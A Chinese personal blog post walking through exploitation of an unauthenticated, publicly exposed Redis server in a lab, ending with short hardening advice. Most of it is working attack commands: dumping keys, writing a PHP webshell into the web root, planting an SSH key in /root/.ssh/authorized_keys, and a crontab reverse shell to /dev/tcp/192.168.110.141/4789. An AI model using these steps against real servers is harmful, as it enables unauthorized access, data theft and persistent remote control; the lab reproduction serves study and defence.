方糖的博客

安全小技巧

新的一年快到了….

剪刀石头布,哈,我又赢了

2023

05-15

永远新的开始啊

简介

Redis 在某些情况下,绑定在0.0.0.0 暴露公网访问的时候,没有防火墙策略,没有密码认证的情况下,会导致任意目标访问 redis 以及读取写入数据。

利用条件

  • 绑定在 0.0.0.0:6379,没有安全策略ip限制,直接暴露在公网
  • 没有设置 redis 密码认证,可以免密码登陆
  • 高级利用,root 身份运行

复现环境

  • centos 7
  • redis wget http://download.redis.io/releases/redis-4.0.8.tar.gz
1
2
3
4
5
6
cd redis
make
make install 将redis-cli redis-server 安装到/usr/bin
cp redis.conf /etc
修改redis.conf 配置文件 bind 0.0.0.0,关闭密码认证,关闭服务器防火墙
root启动

复现过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
安装 redis-cli
yay -S redis
redis-cli -h 192.168.56.110 连接redis

**数据泄漏**
keys * 获取所有 keys 值

**系统信息**
info 获取系统信息,redis版本,系统信息等

**webshell**
# 写入一个string内容
set shell "\n\n<?=`$_GET[0]`?>\n\n" \n换行,防止写入数据混乱
# 设置备份目录
config set dir /var/www/html/
# 设置备份文件名
config set dbfilename shell.php
# 保存文件到本地
save

**写入 SSH 公钥登陆无密码登陆目标系统**

ssh-keygen -t rsa  //执行生成key命令

# 备份文件目录设置为对应的 .ssh,一般默认为 /root/.ssh/

config set dir /root/.ssh/

config set dbfilename authorized_keys

# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合

set key "\n\n\生成的公钥n\n"

save

**写入计划任务 crontab 运行命令,获取shell**

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

修复方式

  • bind 127.0.0.1 只对本地开放
  • requirepass password 设置密码认证
  • 修改默认端口
  • 设置防火墙规则

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子